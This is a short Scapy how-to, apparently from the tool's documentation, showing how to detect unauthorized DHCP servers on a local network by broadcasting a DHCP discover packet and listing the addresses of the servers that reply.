You suspect that someone has installed an additional, unauthorized DHCP server on your LAN – either unintentiously or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses.

Solution

Use Scapy to send a DHCP discover request and analyze the replies:

>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)????? # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets

In this case we got 2 replies, so there were two active DHCP servers on the test network:

>>> ans.summarize()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
}}}
We are only interested in the MAC and IP addresses of the replies:
{{{
>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11

Discussion

We specify?multi=True?to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can’t use the more convenient?dhcp_request()?function and have to construct the DCHP packet manually:?dhcp_request()?uses?srp1()?for sending and receiving and thus would immediately return after the first answer packet.

Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don’t match, we have to disable Scapy’s check with?conf.checkIPaddr?=?False?before sending the stimulus.

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